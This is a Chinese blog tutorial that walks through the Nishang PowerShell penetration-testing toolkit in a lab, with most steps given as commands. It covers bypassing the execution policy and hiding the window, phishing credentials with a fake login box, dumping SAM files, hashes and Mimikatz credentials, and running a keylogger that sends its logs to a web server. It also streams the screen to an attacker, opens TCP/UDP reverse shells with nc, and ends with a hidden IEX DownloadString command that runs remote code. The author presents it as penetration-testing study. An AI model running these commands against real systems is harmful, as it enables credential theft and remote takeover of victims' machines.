介绍
Powershell用于渗透测试其实早在多年前就已经被提出了,利用Powershell,攻击者可以在无需接触磁盘的情况下执行命令等,并且相较已经被大家广泛关注并防御的cmd而言,Powershell并非那么的引人瞩目。Nishang是基于PowerShell的渗透测试专用工具。它集成了框架、脚本和各种payload,能够帮助渗透测试人员在对Windows目标的全过程检测中使用,项目地址:https://github.com/samratashok/nishang
【基于隐私,以及实验效果,我会在虚拟机、vps、物理机上分别进行截图。算是解释一下截图不一致的问题】
【打❌的表示测试失败的,请知悉】
简单的安装与使用
powshell版本
根据其Github页面的描述,工具是使用在PowerShell v3之上的版本。可以使用Get-Host
命令来查看当前的版本
win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0
默认情况下的Server OS 对应的 Powershell的版本:
- Windows 2008 R2 – Version 2
- Windows 2012 – Version 3
- Windows 2012 R2 – Version 4
- Windows 2016 – Version 5
powshell策略
PowerShell默认的执行策略是Restricted,但是Restricted是不允许运行任何脚本的。你在PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组。我们需要修改策略组,在PowerShell下执行Set-ExecutionPolicy remotesigned
(这需要在管理员的状态下执行),再次导入,就导入成功了。(警告不需要理会)
因为警告不相信导入成功的,可以继续执行命令来进一步验证。
导入Nishang模块
Import-Module .\nishang.psm1
获取Nishang的命令
get-command -Module nishang
关于powshell策略绕过,再啰嗦两句:
上面是基于我们在本地进行测试的情况下,如果是在真实的攻击场景之下,我们还是不宜去做一些全局策略的更改的,这里简单推荐几个Bypass执行策略的Tricks:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,也算是去更改了当前的全局策略
powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗
PowerShell.exe -ExecutionPolicy Bypass -File
想了解更多姿势,大家可以看看Bypass执行策略的十五种方法:
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
信息收集
查看本机信息(全面)
这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。
Get-Information
查看主机信息(简洁)
Get-Host
检查是否为虚拟机
从这个脚本的名字就可以看出来,它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。
Check-VM
登录弹窗
这个脚本是用来欺骗用户输入账号密码信息的。
Invoke-CredentialsPhish执行后会在目标机器上弹出一个Windows的登录框,并且无法关闭,只有输入正确的密码关闭,或者结束进程才能关掉它。十分流氓
Invoke-CredentialsPhish
Copy-VSS
这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来。
执行方式:
PS > Copy-VSS //将会直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:temp //指定保存文件的路径(必须是已经存在的路径)
执行名命令之前的文件夹内容如下
执行名命令之后的文件夹内容如下,发现多了SAM
和SYSTEM
文件
Get-LSASecret❌
该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。
执行方式:
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名
Get-WLAN-Keys❌
在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=" " key=clear
来获取。
Get-WLAN-Keys
执行了,但不知道为啥没反应,运行脚本的文件夹下也没有出现新的文件😐
其他:
查看电脑wifi密码有多种方法,其中一种就是使用netsh,它的优势在于,可以查到电脑连接过的所有wifi的密码
解释一下netsh wlan show profile name=" " key=clear
是个啥,举个例子如下
端口扫描(FireBuster FireListener)
FireBuster可以对内网进行扫描,它会把包发给FireListener
执行方式:
PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020
该脚本作者的Github上面还提供了一个Python版的监听端:
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/
测试 :
- 我们首先在我们的机器(Attacker)上面运行FireListener:
FireListener 130-150
- 受害者
FireBuster 192.168.40.1 130-150 -Verbose
说明:
关于这个端口扫描,没看出干啥用的,不明白攻击者的那条命令是干啥的,也不明白为毛两者是怎么联系起来的,网上没找到更详细的解答,抓包也很迷惑,有数据,但是追踪流数据为空,gg
主机发现(基于端口扫描)
指定端口
Invoke-PortScan -StartAddress 192.168.199.1 -EndAddress 192.168.199.254 -ScanPort -Ports 445
开始扫描:
扫描结果:
不指定端口
Invoke-PortScan -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ScanPort
键盘记录(Keylogger)❌
网上的文章基本一个样子,我没看懂,以及没看懂键盘记录为什么要检查URL页面中有没有 -MagicString后的字符串。我觉得键盘记录是个离线的过程,最多就是把结果传输给某台机器,看不懂检查URL是什么操作,官方解释文档让人望而生畏,https://github.com/samratashok/nishang/blob/master/Gather/Keylogger.ps1
Nishang下载解压之后有多个文件夹,进入到信息收集的Gather文件夹下,输入如下命令,查看帮助手册
Get-Help .\Keylogger.ps1 -full
(网上写Get-Help .Keylogger.ps1 -full都是假的,相对路径写的不对)
执行方式:
PS > ./Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
PS > ./Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > ./Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
PS > ./Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中
查看帮助手册
网上使用的URL和-MagicString
,在帮助手册可以看到
-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis
键盘记录
-
首先执行
.\Keylogger.ps1
-
输入URL和MagicString
发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析
【发现个锤子,我是没发现】
- 下面使用网图,他们是这么做的
发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys .key.log .parsed.txt
然后parsed.txt里面就是解析后的按键记录了
获取用户hash
这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。
Get-PassHashes
Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果
然后解密hash:https://www.objectif-securite.ch/en/ophcrack
Invoke-MimikatzWdigestDowngrade❌
Dump出Windows 8.1 and Server 2012的系统用户密码。
- 执行
Invoke-MimikatzWDigestDowngrade
windows会锁屏,如下
- 执行
Get-Job | Receive-Job
,爆红,失败 - 执行
Get-Job
发现一条执行失败的记录
网上都是刷一个链接,额,,解决办法[域渗透——Dump Clear-Text Password after KB2871997 installed]
抓取用户的明文密码(Invoke-Mimikatz)
Invoke-Mimikatz 不需要解释的神器
Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"
获取用户的密码提示信息(Get-PassHints)❌
这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。
命令:Get-PassHints
啥都没有,失败
桌面截图(Show-TargetScreen)
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
攻击者kali:nc -nvlp 4456 | nc -nvlp 9000
受害者win2008:Show-TargetScreen -IPAddres 192.168.40.146 -Port 4456 -Reverse
受害者将自己的桌面传输到攻击者的4456端口,攻击者把监听转移到9000端口,用浏览器查看截图结果
反弹shell
关于shell的命令,如果不容易看懂,推荐一个神奇网站https://www.explainshell.com/
正向连接and反向连接
新手肯定都有这个疑问,什么时候用正向连接,什么时候用反向连接呢?其实很简单:
目标在外网而你在内网的时候,用正向连接。
目标在内网而你在外网的时候,用反向连接。
都在外网的时候,两种方式皆可。
基于TCP协议的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接
正向连接
攻击者去主动连接受害者
- 受害者win2008监听本地端口4456
Invoke-PowerShellTcp -Bind -Port 4456
- 攻击者kali使用nc连接受害者
nc -nv 192.168.40.131 4456
反向连接
受害者主动连接攻击者
- 攻击者kali监听本地端口
nc -lvp 3333
- 受害者win2008主动连接攻击者
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.40.146 -Port 3333
基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdp是Powershell交互式正向连接或反向连接shell,基于UDP协议。
基本通“基于TCP协议的Powershell交互式Shell”一样,只不过:
- nc的参数要加
u
指明是udp类型 - Invoke-PowerShellTcp修改为Invoke-PowerShellUdp
正向连接
正向连接,和上面用法相同,不过是基于UDP协议,所以nc命令就要改动一下了。
- 攻击者kali
nc -nvu 192.168.40.131 4456
- 受害者win2008
Invoke-PowerShellUdp -Bind -Port 4456
反向连接
-
攻击者kali监听本地端口
nc -lvup 3333
-
受害者win2008主动连接攻击者
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.40.146 -Port 3333
基于HTTP和HTTPS协议的PowerShell交互式Shell❌
个人感觉有点扯,在攻击机上执行Invoke-PoshRatHttp
命令就很扯淡,没复现出来
- 在攻击机上执行下面的命令
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333
- 在目标机器执行以下命令
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.169.136:1234/connect'))
Antak Webshell
存放于nishangAntak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,日aspx的站必备的东西,通过这个Webshell可以编码、执行脚本,上传、下载文件。
待续
写的太痛苦了,鸽了鸽了,用到啥写啥吧
参考
PowerShell攻防进阶篇:nishang工具用法详解
【技术分享】Powershell 渗透测试工具-Nishang(一)
【技术分享】Powershell 渗透测试工具-Nishang(二)
内网神器-Nishang之信息收集篇(一)
内网神器-Nishang之信息收集篇(二)
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134300.html